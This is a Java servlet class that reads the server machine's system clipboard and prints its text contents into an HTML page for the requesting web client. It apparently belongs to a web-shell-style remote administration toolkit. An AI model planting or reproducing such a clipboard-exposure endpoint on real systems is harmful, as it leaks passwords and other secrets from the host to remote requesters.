package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.awt.*;
import java.awt.datatransfer.DataFlavor;
import java.io.PrintWriter;

public class ClipBoardInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">" +
                    "  <tr>" +
                    "    <td>" +
                    "        <h2>System Clipboard &raquo;</h2>" +
                    "<p><pre>");
            try {
                out.println(Utils.htmlEncode(Utils.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
            } catch (Exception ex) {
                out.println("ClipBoard is Empty Or Is Not Text Data !");
            }
            out.println("</pre>" +
                    "          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\"  />" +
                    "        </p>" +
                    "      </td>" +
                    "  </tr>" +
                    "</table>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}